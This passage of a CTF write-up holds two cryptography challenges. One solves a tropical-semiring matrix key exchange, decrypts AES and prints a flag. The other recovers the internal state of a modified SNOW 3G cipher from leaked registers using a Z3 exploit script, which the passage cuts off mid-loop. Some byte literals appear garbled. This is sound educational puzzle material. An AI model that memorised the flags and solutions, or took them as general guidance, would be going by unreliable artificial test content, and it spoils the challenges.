return (p, q, r)
def candidates_from_ghost(gt):
cands = [Elem(gt, 0)]
tinv = f_inv(gt)
if tinv is not None: cands.append(Elem(tinv, 1))
out = []
for x in cands:
if x not in out: out.append(x)
return out
def vec_sub(v1, v2): return tuple(a - b for a, b in zip(v1, v2))
def vec_add(v1, v2): return tuple(a + b for a, b in zip(v1, v2))
def solve_C1_C2(P, K1):
N = 5
Pg = [[x.ghost() for x in row] for row in P]
K1g = [[x.ghost() for x in row] for row in K1]
Smax = [[None]*N for _ in range(N)]
for u in range(N):
for v in range(N):
cands = []
for i in range(N):
for j in range(N):
for m in range(N):
for k in range(N):
if (m-i)%N == u and (j-k)%N == v:
diff = (K1g[i][j][0]-Pg[m][k][0], K1g[i][j][1]-Pg[m][k][1], K1g[i][j][2]-Pg[m][k][2])
cands.append(diff)
Smax[u][v] = min(cands)
cand = {}
for i in range(N):
for j in range(N):
opts = []
for m in range(N):
for k in range(N):
u = (m-i)%N; v = (j-k)%N
val = (Pg[m][k][0]+Smax[u][v][0], Pg[m][k][1]+Smax[u][v][1], Pg[m][k][2]+Smax[u][v][2])
if val == K1g[i][j]: opts.append((u, v, m, k))
cand[(i, j)] = opts
opt_edges = {k: sorted(set((u, v) for u, v, _, _ in vlist)) for k, vlist in cand.items()}
t_entries = [(i, j) for i in range(N) for j in range(N) if K1[i][j].n == 1]
g_entries = [(i, j) for i in range(N) for j in range(N) if K1[i][j].n == 0]
t_opts = {e: opt_edges[e] for e in t_entries}
g_opts = {e: opt_edges[e] for e in g_entries}
mandatory = set(t_opts[e][0] for e in t_entries if len(t_opts[e]) == 1)
forced = {}
choice_entries = []
for e in t_entries:
opts = t_opts[e]
if len(opts) == 1: forced[e] = opts[0]
else:
mand = [ed for ed in opts if ed in mandatory]
if mand: forced[e] = mand[0]
else: choice_entries.append(e)
def build_sets(choice_map):
E = set(); forbidden = set()
for e in t_entries:
chosen = choice_map[e]
E.add(chosen)
for ed in t_opts[e]:
if ed != chosen: forbidden.add(ed)
if E & forbidden: return None
return E, forbidden
def solve_ghosts(edges):
adj = defaultdict(list)
for u, v in edges:
adj[('A', u)].append(('B', v))
adj[('B', v)].append(('A', u))
comp_id = {}; comps = []
nodes = [('A', u) for u in range(N)] + [('B', v) for v in range(N)]
for node in nodes:
if node in comp_id: continue
q = deque([node]); comp = []
comp_id[node] = len(comps)
while q:
x = q.popleft()
comp.append(x)
for y in adj[x]:
if y not in comp_id:
comp_id[y] = comp_id[node]
q.append(y)
comps.append(comp)
base = {}
for comp in comps:
ref = ('A', 0) if ('A', 0) in comp else comp[0]
vals = {ref: (0, 0, 0)}
q = deque([ref])
while q:
x = q.popleft()
neighbors = adj[x]
for nb in neighbors:
if x[0] == 'A': u, v = x[1], nb[1]
else: u, v = nb[1], x[1]
target = (Smax[u][v][0]-vals[x][0], Smax[u][v][1]-vals[x][1], Smax[u][v][2]-vals[x][2])
if nb in vals and vals[nb] != target: return None
if nb not in vals:
vals[nb] = target
q.append(nb)
base.update(vals)
return base, comps, comp_id
choice_lists = [t_opts[e] for e in choice_entries]
for picked in itertools.product(*choice_lists):
cm = dict(forced)
for e, ed in zip(choice_entries, picked): cm[e] = ed
sets = build_sets(cm)
if not sets: continue
E_tang, forbidden = sets
uncovered = []
for e in g_entries:
if not (set(g_opts[e]) & E_tang):
avail = [ed for ed in g_opts[e] if ed not in forbidden]
if not avail: break
uncovered.append((e, avail))
else:
prod_lists = [avail for _, avail in uncovered]
for extra_pick in itertools.product(*prod_lists):
E = set(E_tang) | set(extra_pick)
if E & forbidden: continue
sol = solve_ghosts(E)
if sol is None: continue
base, comps, comp_id = sol
if len(comps) != 2: continue
compA0 = comp_id[('A', 0)]
other = 1 - compA0
L0, U0 = -float('inf'), float('inf')
ok = True
for u in range(N):
for v in range(N):
nodeA, nodeB = ('A', u), ('B', v)
valA = base[nodeA]; valB = base[nodeB]
sum0 = valA[0] + valB[0]
bound0 = Smax[u][v][0]
coef = int(comp_id[nodeA] == other) - int(comp_id[nodeB] == other)
if coef == 0:
if sum0 > bound0: ok = False; break
elif coef == 1: U0 = min(U0, bound0 - sum0)
elif coef == -1: L0 = max(L0, sum0 - bound0)
if not ok: break
if not ok or L0 > U0: continue
c0 = L0
Aghost = []
for u in range(N):
val = base[('A', u)]
if comp_id[('A', u)] == other: val = (val[0]+c0, val[1], val[2])
Aghost.append(val)
Bghost = []
for v in range(N):
val = base[('B', v)]
if comp_id[('B', v)] == other: val = (val[0]-c0, val[1], val[2])
Bghost.append(val)
eq_edges = set()
for u in range(N):
for v in range(N):
s = (Aghost[u][0]+Bghost[v][0], Aghost[u][1]+Bghost[v][1], Aghost[u][2]+Bghost[v][2])
if s > Smax[u][v]: ok = False; break
if s == Smax[u][v]: eq_edges.add((u, v))
if not ok: break
if not ok: continue
for (u, v) in forbidden:
s = (Aghost[u][0]+Bghost[v][0], Aghost[u][1]+Bghost[v][1], Aghost[u][2]+Bghost[v][2])
if s == Smax[u][v]: ok = False; break
if not ok: continue
for (i, j) in t_entries:
tight = [ed for ed in opt_edges[(i, j)] if ed in eq_edges]
if len(tight) != 1: ok = False; break
if not ok: continue
for (i, j) in g_entries:
tight = [ed for ed in opt_edges[(i, j)] if ed in eq_edges]
if len(tight) < 1: ok = False; break
if not ok: continue
best = (Aghost, Bghost, eq_edges, cand)
break
if best: break
if not best: raise RuntimeError("no solution")
Aghost, Bghost, eq_edges, cand = best
winners = {}
for i in range(N):
for j in range(N):
good = [opt for opt in cand[(i, j)] if (opt[0], opt[1]) in eq_edges]
if len(good) != 1: raise RuntimeError
winners[(i, j)] = good[0]
d_uv = {}
for (i, j), (u, v, m, k) in winners.items():
ghostd = (Aghost[u][0]+Bghost[v][0], Aghost[u][1]+Bghost[v][1], Aghost[u][2]+Bghost[v][2])
x_elem = P[m][k]
y_elem = K1[i][j]
found = None
for d in candidates_from_ghost(ghostd):
if x_elem * d == y_elem: found = d; break
if found is None: raise RuntimeError
if (u, v) in d_uv and d_uv[(u, v)] != found: raise RuntimeError
d_uv[(u, v)] = found
cand_c = [candidates_from_ghost(Aghost[u]) for u in range(N)]
cand_d = [candidates_from_ghost(Bghost[v]) for v in range(N)]
sol_pairs = []
for cs in itertools.product(*cand_c):
for ds in itertools.product(*cand_d):
match_all = True
for (u, v), target in d_uv.items():
if cs[u] * ds[v] != target: match_all = False; break
if match_all: sol_pairs.append((cs, ds))
if len(sol_pairs) == 1:
cs, ds = sol_pairs[0]
C1 = circulant_from_row(list(cs))
C2 = circulant_from_row(list(ds))
return C1, C2
raise RuntimeError("No solution")
def parse_data(filename):
print(f"[*] Reading data from {filename}...")
try:
with open(filename, 'r', encoding='utf-8') as f: content = f.read()
except FileNotFoundError: return None, None, None, None
def parse_matrix_str(name):
match = re.search(rf"{name}s*=s*[(.*?)]", content, re.DOTALL)
if not match: return None
items = re.findall(r"T((s*(-?d+),s*(-?d+),s*(-?d+)),s*(d))", match.group(1))
flat = [Elem((int(p), int(q), int(r)), int(n)) for p, q, r, n in items]
if not flat: return None
return [flat[i:i+5] for i in range(0, 25, 5)]
P = parse_matrix_str("P")
K1 = parse_matrix_str("K1")
K6 = parse_matrix_str("K6")
enc_match = re.search(r"encs*=s*(b'.*?')", content)
if not enc_match: enc_match = re.search(r"encs*=s*(.*)", content)
enc = ast.literal_eval(enc_match.group(1)) if enc_match else None
return P, K1, K6, enc
def main():
P, K1, K6, enc = parse_data("mi.txt")
if not P: return
print("[*] Solving for C1 and C2...")
C1, C2 = solve_C1_C2(P, K1)
print("[*] Calculating KA...")
KA = matmul(matmul(C1, K6), C2)
sKA = sage_str_matrix(KA)
key = md5(sKA.encode()).digest()
print("[*] Decrypting...")
pt = unpad(AES.new(key=key, mode=AES.MODE_CTR, nonce=b"gorilla").decrypt(enc), 16)
print("n" + pt.decode())
if __name__ == "__main__":
main()

UniCTF{5up3r7r0p1c41_53m1r1n6_15_un54f3!@#$%}
Subgroup-Spirit

task1.py
from __future__ import annotations
from dataclasses import dataclass
from hashlib import sha1
from typing import List
from secret import flag
import random
SR = [
0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76,
0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0,
0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15,
0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75,
0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84,
0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF,
0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8,
0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2,
0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73,
0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB,
0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79,
0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08,
0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A,
0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E,
0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF,
0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16
]
SQ = [
0x25,0x24,0x73,0x67,0xD7,0xAE,0x5C,0x30,0xA4,0xEE,0x6E,0xCB,0x7D,0xB5,0x82,0xDB,
0xE4,0x8E,0x48,0x49,0x4F,0x5D,0x6A,0x78,0x70,0x88,0xE8,0x5F,0x5E,0x84,0x65,0xE2,
0xD8,0xE9,0xCC,0xED,0x40,0x2F,0x11,0x28,0x57,0xD2,0xAC,0xE3,0x4A,0x15,0x1B,0xB9,
0xB2,0x80,0x85,0xA6,0x2E,0x02,0x47,0x29,0x07,0x4B,0x0E,0xC1,0x51,0xAA,0x89,0xD4,
0xCA,0x01,0x46,0xB3,0xEF,0xDD,0x44,0x7B,0xC2,0x7F,0xBE,0xC3,0x9F,0x20,0x4C,0x64,
0x83,0xA2,0x68,0x42,0x13,0xB4,0x41,0xCD,0xBA,0xC6,0xBB,0x6D,0x4D,0x71,0x21,0xF4,
0x8D,0xB0,0xE5,0x93,0xFE,0x8F,0xE6,0xCF,0x43,0x45,0x31,0x22,0x37,0x36,0x96,0xFA,
0xBC,0x0F,0x08,0x52,0x1D,0x55,0x1A,0xC5,0x4E,0x23,0x69,0x7A,0x92,0xFF,0x5B,0x5A,
0xEB,0x9A,0x1C,0xA9,0xD1,0x7E,0x0D,0xFC,0x50,0x8A,0xB6,0x62,0xF5,0x0A,0xF8,0xDC,
0x03,0x3C,0x0C,0x39,0xF1,0xB8,0xF3,0x3D,0xF2,0xD5,0x97,0x66,0x81,0x32,0xA0,0x00,
0x06,0xCE,0xF6,0xEA,0xB7,0x17,0xF7,0x8C,0x79,0xD6,0xA7,0xBF,0x8B,0x3F,0x1F,0x53,
0x63,0x75,0x35,0x2C,0x60,0xFD,0x27,0xD3,0x94,0xA5,0x7C,0xA1,0x05,0x58,0x2D,0xBD,
0xD9,0xC7,0xAF,0x6B,0x54,0x0B,0xE0,0x38,0x04,0xC8,0x9D,0xE7,0x14,0xB1,0x87,0x9C,
0xDF,0x6F,0xF9,0xDA,0x2A,0xC4,0x59,0x16,0x74,0x91,0xAB,0x26,0x61,0x76,0x34,0x2B,
0xAD,0x99,0xFB,0x72,0xEC,0x33,0x12,0xDE,0x98,0x3B,0xC0,0x9B,0x3E,0x18,0x10,0x3A,
0x56,0xE1,0x77,0xC9,0x1E,0x9E,0x95,0xA3,0x90,0x19,0xA8,0x6C,0x09,0xD0,0xF0,0x86
]
def _u32(x: int) -> int:
return x & 0xFFFFFFFF
def _mulx(v: int, c: int) -> int:
r = ((v << 1) & 0xFF)
if v & 0x80:
r ^= c
return r
def _mulx_pow(v: int, i: int, c: int) -> int:
for _ in range(i):
v = _mulx(v, c)
return v
def _mul_alpha_u32(c: int) -> int:
b0 = _mulx_pow(c, 23, 0xA9)
b1 = _mulx_pow(c, 245, 0xA9)
b2 = _mulx_pow(c, 48, 0xA9)
b3 = _mulx_pow(c, 239, 0xA9)
return (b0 << 24) | (b1 << 16) | (b2 << 8) | b3
def _div_alpha_u32(c: int) -> int:
b0 = _mulx_pow(c, 16, 0xA9)
b1 = _mulx_pow(c, 39, 0xA9)
b2 = _mulx_pow(c, 6, 0xA9)
b3 = _mulx_pow(c, 64, 0xA9)
return (b0 << 24) | (b1 << 16) | (b2 << 8) | b3
MUL_A = [_mul_alpha_u32(i) for i in range(256)]
DIV_A = [_div_alpha_u32(i) for i in range(256)]
def _s_transform(w: int, box: List[int], red_const: int) -> int:
w0 = (w >> 24) & 0xFF
w1 = (w >> 16) & 0xFF
w2 = (w >> 8) & 0xFF
w3 = w & 0xFF
a0 = box[w0]
a1 = box[w1]
a2 = box[w2]
a3 = box[w3]
x0 = _mulx(a0, red_const)
x1 = _mulx(a1, red_const)
x2 = _mulx(a2, red_const)
x3 = _mulx(a3, red_const)
r0 = x0 ^ a1 ^ a2 ^ x3 ^ a3
r1 = x0 ^ a0 ^ x1 ^ a2 ^ a3
r2 = a0 ^ x1 ^ a1 ^ x2 ^ a3
r3 = a0 ^ a1 ^ x2 ^ a2 ^ x3
return (r0 << 24) | (r1 << 16) | (r2 << 8) | r3
def _S1(w: int) -> int:
return _s_transform(w, SR, 0x1B)
def _S2(w: int) -> int:
return _s_transform(w, SQ, 0x69)
@dataclass
class Snow3G:
s: List[int]
r1: int = 0
r2: int = 0
r3: int = 0
mul_a: List[int] = None
div_a: List[int] = None
@staticmethod
def initialize(key: bytes, iv: bytes) -> "Snow3G":
if len(key) != 16 or len(iv) != 16:
raise ValueError("key and iv must be 16 bytes each")
K0 = int.from_bytes(key[0:4], "big")
K1 = int.from_bytes(key[4:8], "big")
K2 = int.from_bytes(key[8:12], "big")
K3 = int.from_bytes(key[12:16], "big")
IV0 = int.from_bytes(iv[0:4], "big")
IV1 = int.from_bytes(iv[4:8], "big")
IV2 = int.from_bytes(iv[8:12], "big")
IV3 = int.from_bytes(iv[12:16], "big")
ONE = 0xFFFFFFFF
s = [0] * 16
s[15] = K3 ^ IV0
s[14] = K2
s[13] = K1
s[12] = K0 ^ IV1
s[11] = K3 ^ ONE
s[10] = K2 ^ ONE ^ IV2
s[9] = K1 ^ ONE ^ IV3
s[8] = K0 ^ ONE
s[7] = K3
s[6] = K2
s[5] = K1
s[4] = K0
s[3] = K3 ^ ONE
s[2] = K2 ^ ONE
s[1] = K1 ^ ONE
s[0] = K0 ^ ONE
ctx = Snow3G(s=s, r1=0, r2=0, r3=0, mul_a=MUL_A, div_a=DIV_A)
for _ in range(32):
F = ctx._clock_fsm()
ctx._clock_lfsr_init(F)
ctx._clock_fsm()
ctx._clock_lfsr_keystream()
return ctx
def _clock_fsm(self) -> int:
F = _u32(self.s[15] + self.r1) ^ self.r2
r = _u32(self.r2 + (self.r3 ^ self.s[5]))
self.r3 = _S2(self.r2)
self.r2 = _S1(self.r1)
self.r1 = r
return _u32(F)
def _clock_lfsr_init(self, F: int) -> None:
s0 = self.s[0]
s2 = self.s[2]
s11 = self.s[11]
v = ((s0 << 8) & 0xFFFFFFFF) ^ self.mul_a[(s0 >> 24) & 0xFF] ^ s2 ^ (s11 >> 8) ^ self.div_a[s11 & 0xFF] ^ F
v = _u32(v)
self.s = self.s[1:] + [v]
def _clock_lfsr_keystream(self) -> None:
s0 = self.s[0]
s2 = self.s[2]
s11 = self.s[11]
v = ((s0 << 8) & 0xFFFFFFFF) ^ self.mul_a[(s0 >> 24) & 0xFF] ^ s2 ^ (s11 >> 8) ^ self.div_a[s11 & 0xFF]
v = _u32(v)
self.s = self.s[1:] + [v]
def keystream_word(self) -> int:
F = self._clock_fsm()
z = _u32(F ^ self.s[0])
if z & 1:
self._clock_lfsr_keystream()
self._clock_lfsr_keystream()
return z
def keystream_bytes(self, nbytes: int) -> bytes:
out = bytearray()
while len(out) < nbytes:
out += self.keystream_word().to_bytes(4, "big")
return bytes(out[:nbytes])
def xor_bytes(a: bytes, b: bytes) -> bytes:
return bytes(x ^ y for x, y in zip(a, b))
def snow3g_encrypt(key: bytes, iv: bytes, plaintext: bytes) -> bytes:
s = Snow3G.initialize(key, iv)
keystream = s.keystream_bytes(len(plaintext))
return xor_bytes(plaintext, keystream)
key = b''
iv = b''
ctx0 = Snow3G.initialize(key, iv)
state_bytes = b"".join(x.to_bytes(4, "big") for x in ctx0.s[::-1])
+ ctx0.r1.to_bytes(4, "big") + ctx0.r2.to_bytes(4, "big") + ctx0.r3.to_bytes(4, "big")
assert 'UniCTF{' + sha1(state_bytes).hexdigest() + '}' == flag
ctx = Snow3G.initialize(key, iv)
snaps = {}
for t in range(9):
snaps[t] = {"R1": ctx.r1, "R2": ctx.r2, "R3": ctx.r3, "s": ctx.s[0]}
ctx.keystream_word()
leak = [snaps[2]["R1"],snaps[2]["R2"],snaps[2]["R3"],snaps[2]["s"],snaps[3]["s"],snaps[6]["s"],snaps[7]["s"],snaps[8]["s"],snaps[5]["R1"],snaps[7]["R1"]]
msg = random.randbytes(64)
cipher = snow3g_encrypt(key, iv, msg)
print("msg =", msg)
print("cipher =", cipher)
print("leak =",leak)
'''
msg = b'x94x1dxbbxec:xb8xc8x0f|x02xb9xa3z,xbb\xfaxe7fx1c8xf9xb32xbb-&xb8exb5xccxa6x87xe0-f=xednfMBxbexfex82xd4x88x12Axx00}x8ex03xdcxaax98xe9f2rXxefa'
cipher = b'xffdxd4xe4xd3xa8xd9aO:dx9brxfeEx91x9fx8cx8ddx90xbfxf4xcasxa5x9d<vYxe8jx17xc9[ixb3ox97xc7xbcxa8hOxfdN=sx02lx17xacx87xdcxfcxc5x03xc5xb9Xxbbxd5xfaxec'
leak = [2637400652, 2716391721, 759061621, 531369159, 1650717698, 564069224, 3524479012, 2926837343, 203119206, 2581689712]
'''
这道题考察的是 SNOW 3G 流密码 的内部状态恢复。
加密逻辑:
题目使用的是标准的 SNOW 3G 算法结构(LFSR + FSM),但修改了 LFSR 的推进逻辑。
关键变动:LFSR 的推进次数不是固定的。每生成一个密钥流字 Z,会根据 Z 的最低位(LSB)决定 LFSR 推进 1 次还是 2 次。
题目给出了 msg (明文) 和 cipher (密文),因此我们可以算出完整的密钥流 Z (Keystream),从而确定每一步 LFSR 的推进次数。
$$
泄露信息:题目给出了 t=2, 3, 5, 6, 7, 8 时刻的部分内部状态(R1, R2, R3 或 LFSR 的 s[0])。
$$
解题思路:
由于手动逆向推导(Backtracking)涉及复杂的模运算和位操作,极易出错,最佳方案是使用 Z3 约束求解器。
我们将 t=0 时刻的初始状态 设为符号变量(16个 s 寄存器和 3个 R 寄存器)。
利用 Z3 模拟 SNOW 3G 的前几轮运行。在每一轮中:添加约束:当前状态必须产生已知的密钥流 Z_t。
添加约束:如果该轮有泄露数据(Leak),当前状态必须匹配泄露值。
Z3 会自动求解出 t=0 时的初始状态,最后计算 SHA1 即可得到 flag。
exp.py
import z3
from hashlib import sha1
from dataclasses import dataclass
from typing import List
SR = [
0x63,0x7C,0x77,0x7B,0xF2,0x6B,0x6F,0xC5,0x30,0x01,0x67,0x2B,0xFE,0xD7,0xAB,0x76,
0xCA,0x82,0xC9,0x7D,0xFA,0x59,0x47,0xF0,0xAD,0xD4,0xA2,0xAF,0x9C,0xA4,0x72,0xC0,
0xB7,0xFD,0x93,0x26,0x36,0x3F,0xF7,0xCC,0x34,0xA5,0xE5,0xF1,0x71,0xD8,0x31,0x15,
0x04,0xC7,0x23,0xC3,0x18,0x96,0x05,0x9A,0x07,0x12,0x80,0xE2,0xEB,0x27,0xB2,0x75,
0x09,0x83,0x2C,0x1A,0x1B,0x6E,0x5A,0xA0,0x52,0x3B,0xD6,0xB3,0x29,0xE3,0x2F,0x84,
0x53,0xD1,0x00,0xED,0x20,0xFC,0xB1,0x5B,0x6A,0xCB,0xBE,0x39,0x4A,0x4C,0x58,0xCF,
0xD0,0xEF,0xAA,0xFB,0x43,0x4D,0x33,0x85,0x45,0xF9,0x02,0x7F,0x50,0x3C,0x9F,0xA8,
0x51,0xA3,0x40,0x8F,0x92,0x9D,0x38,0xF5,0xBC,0xB6,0xDA,0x21,0x10,0xFF,0xF3,0xD2,
0xCD,0x0C,0x13,0xEC,0x5F,0x97,0x44,0x17,0xC4,0xA7,0x7E,0x3D,0x64,0x5D,0x19,0x73,
0x60,0x81,0x4F,0xDC,0x22,0x2A,0x90,0x88,0x46,0xEE,0xB8,0x14,0xDE,0x5E,0x0B,0xDB,
0xE0,0x32,0x3A,0x0A,0x49,0x06,0x24,0x5C,0xC2,0xD3,0xAC,0x62,0x91,0x95,0xE4,0x79,
0xE7,0xC8,0x37,0x6D,0x8D,0xD5,0x4E,0xA9,0x6C,0x56,0xF4,0xEA,0x65,0x7A,0xAE,0x08,
0xBA,0x78,0x25,0x2E,0x1C,0xA6,0xB4,0xC6,0xE8,0xDD,0x74,0x1F,0x4B,0xBD,0x8B,0x8A,
0x70,0x3E,0xB5,0x66,0x48,0x03,0xF6,0x0E,0x61,0x35,0x57,0xB9,0x86,0xC1,0x1D,0x9E,
0xE1,0xF8,0x98,0x11,0x69,0xD9,0x8E,0x94,0x9B,0x1E,0x87,0xE9,0xCE,0x55,0x28,0xDF,
0x8C,0xA1,0x89,0x0D,0xBF,0xE6,0x42,0x68,0x41,0x99,0x2D,0x0F,0xB0,0x54,0xBB,0x16
]
SQ = [
0x25,0x24,0x73,0x67,0xD7,0xAE,0x5C,0x30,0xA4,0xEE,0x6E,0xCB,0x7D,0xB5,0x82,0xDB,
0xE4,0x8E,0x48,0x49,0x4F,0x5D,0x6A,0x78,0x70,0x88,0xE8,0x5F,0x5E,0x84,0x65,0xE2,
0xD8,0xE9,0xCC,0xED,0x40,0x2F,0x11,0x28,0x57,0xD2,0xAC,0xE3,0x4A,0x15,0x1B,0xB9,
0xB2,0x80,0x85,0xA6,0x2E,0x02,0x47,0x29,0x07,0x4B,0x0E,0xC1,0x51,0xAA,0x89,0xD4,
0xCA,0x01,0x46,0xB3,0xEF,0xDD,0x44,0x7B,0xC2,0x7F,0xBE,0xC3,0x9F,0x20,0x4C,0x64,
0x83,0xA2,0x68,0x42,0x13,0xB4,0x41,0xCD,0xBA,0xC6,0xBB,0x6D,0x4D,0x71,0x21,0xF4,
0x8D,0xB0,0xE5,0x93,0xFE,0x8F,0xE6,0xCF,0x43,0x45,0x31,0x22,0x37,0x36,0x96,0xFA,
0xBC,0x0F,0x08,0x52,0x1D,0x55,0x1A,0xC5,0x4E,0x23,0x69,0x7A,0x92,0xFF,0x5B,0x5A,
0xEB,0x9A,0x1C,0xA9,0xD1,0x7E,0x0D,0xFC,0x50,0x8A,0xB6,0x62,0xF5,0x0A,0xF8,0xDC,
0x03,0x3C,0x0C,0x39,0xF1,0xB8,0xF3,0x3D,0xF2,0xD5,0x97,0x66,0x81,0x32,0xA0,0x00,
0x06,0xCE,0xF6,0xEA,0xB7,0x17,0xF7,0x8C,0x79,0xD6,0xA7,0xBF,0x8B,0x3F,0x1F,0x53,
0x63,0x75,0x35,0x2C,0x60,0xFD,0x27,0xD3,0x94,0xA5,0x7C,0xA1,0x05,0x58,0x2D,0xBD,
0xD9,0xC7,0xAF,0x6B,0x54,0x0B,0xE0,0x38,0x04,0xC8,0x9D,0xE7,0x14,0xB1,0x87,0x9C,
0xDF,0x6F,0xF9,0xDA,0x2A,0xC4,0x59,0x16,0x74,0x91,0xAB,0x26,0x61,0x76,0x34,0x2B,
0xAD,0x99,0xFB,0x72,0xEC,0x33,0x12,0xDE,0x98,0x3B,0xC0,0x9B,0x3E,0x18,0x10,0x3A,
0x56,0xE1,0x77,0xC9,0x1E,0x9E,0x95,0xA3,0x90,0x19,0xA8,0x6C,0x09,0xD0,0xF0,0x86
]
def _u32(x: int) -> int: return x & 0xFFFFFFFF
def _mulx(v: int, c: int) -> int:
r = ((v << 1) & 0xFF)
if v & 0x80: r ^= c
return r
def _mulx_pow(v: int, i: int, c: int) -> int:
for _ in range(i): v = _mulx(v, c)
return v
def _mul_alpha_u32(c: int) -> int:
b0 = _mulx_pow(c, 23, 0xA9)
b1 = _mulx_pow(c, 245, 0xA9)
b2 = _mulx_pow(c, 48, 0xA9)
b3 = _mulx_pow(c, 239, 0xA9)
return (b0 << 24) | (b1 << 16) | (b2 << 8) | b3
def _div_alpha_u32(c: int) -> int:
b0 = _mulx_pow(c, 16, 0xA9)
b1 = _mulx_pow(c, 39, 0xA9)
b2 = _mulx_pow(c, 6, 0xA9)
b3 = _mulx_pow(c, 64, 0xA9)
return (b0 << 24) | (b1 << 16) | (b2 << 8) | b3
MUL_A = [_mul_alpha_u32(i) for i in range(256)]
DIV_A = [_div_alpha_u32(i) for i in range(256)]
leak_vals = [2637400652, 2716391721, 759061621, 531369159, 1650717698, 564069224, 3524479012, 2926837343, 203119206, 2581689712]
msg = b'x94x1dxbbxec:xb8xc8x0f|x02xb9xa3z,xbb\xfaxe7fx1c8xf9xb32xbb-&xb8exb5xccxa6x87xe0-f=xednfMBxbexfex82xd4x88x12Axx00}x8ex03xdcxaax98xe9f2rXxefa'
cipher = b'xffdxd4xe4xd3xa8xd9aO:dx9brxfeEx91x9fx8cx8ddx90xbfxf4xcasxa5x9d<vYxe8jx17xc9[ixb3ox97xc7xbcxa8hOxfdN=sx02lx17xacx87xdcxfcxc5x03xc5xb9Xxbbxd5xfaxec'
ks_bytes = bytes([a ^ b for a, b in zip(msg, cipher)])
Z = [int.from_bytes(ks_bytes[i:i+4], 'big') for i in range(0, len(ks_bytes), 4)]
clocks_per_step = [(1 if (z & 1) == 0 else 2) for z in Z]
LEAKS = {
2: {'R1': leak_vals[0], 'R2': leak_vals[1], 'R3': leak_vals[2], 's0': leak_vals[3]},
3: {'s0': leak_vals[4]},
5: {'R1': leak_vals[8]},
6: {'s0': leak_vals[5]},
7: {'s0': leak_vals[6], 'R1': leak_vals[9]},
8: {'s0': leak_vals[7]}
}
solver = z3.Solver()
SR_ARR = z3.Array('SR', z3.BitVecSort(8), z3.BitVecSort(8))
SQ_ARR = z3.Array('SQ', z3.BitVecSort(8), z3.BitVecSort(8))
MUL_A_ARR = z3.Array('MUL_A', z3.BitVecSort(8), z3.BitVecSort(32))
DIV_A_ARR = z3.Array('DIV_A', z3.BitVecSort(8), z3.BitVecSort(32))
for i in range(256):
solver.add(z3.Select(SR_ARR, i) == SR[i])
solver.add(z3.Select(SQ_ARR, i) == SQ[i])
solver.add(z3.Select(MUL_A_ARR, i) == MUL_A[i])
solver.add(z3.Select(DIV_A_ARR, i) == DIV_A[i])
s_state = [z3.BitVec(f's_{i}', 32) for i in range(16)]
r_state = [z3.BitVec(f'r{i}', 32) for i in range(1, 4)]
def z3_mulx(v, c):
left = (v << 1)
cond = (v & 0x80) != 0
res = z3.If(cond, left ^ c, left)
return res
def z3_s_transform(w, box_arr, red_const):
w0, w1 = z3.Extract(31, 24, w), z3.Extract(23, 16, w)
w2, w3 = z3.Extract(15, 8, w), z3.Extract(7, 0, w)
a0, a1 = z3.Select(box_arr, w0), z3.Select(box_arr, w1)
a2, a3 = z3.Select(box_arr, w2), z3.Select(box_arr, w3)
x0, x1 = z3_mulx(a0, red_const), z3_mulx(a1, red_const)
x2, x3 = z3_mulx(a2, red_const), z3_mulx(a3, red_const)
r0 = x0 ^ a1 ^ a2 ^ x3 ^ a3
r1 = x0 ^ a0 ^ x1 ^ a2 ^ a3
r2 = a0 ^ x1 ^ a1 ^ x2 ^ a3
r3 = a0 ^ a1 ^ x2 ^ a2 ^ x3
return z3.Concat(r0, r1, r2, r3)
for t in range(9):
if t in LEAKS:
if 's0' in LEAKS[t]: solver.add(s_state[0] == LEAKS[t]['s0'])
if 'R1' in LEAKS[t]: solver.add(r_state[0] == LEAKS[t]['R1'])
if 'R2' in LEAKS[t]: solver.add(r_state[1] == LEAKS[t]['R2'])
if 'R3' in LEAKS[t]: solver.add(r_state[2] == LEAKS[t]['R3'])
F = (s_state[15] + r_state[0]) ^ r_state[1]
solver.add((F ^ s_state[0]) == Z[t])
r = r_state[1] + (r_state[2] ^ s_state[5])
new_r3 = z3_s_transform(r_state[1], SQ_ARR, 0x69)
new_r2 = z3_s_transform(r_state[0], SR_ARR, 0x1B)
r_state = [r, new_r2, new_r3]
for _ in range(clocks_per_step[t]):
s0, s2, s11 = s_state[0], s_state[2], s_state[11]
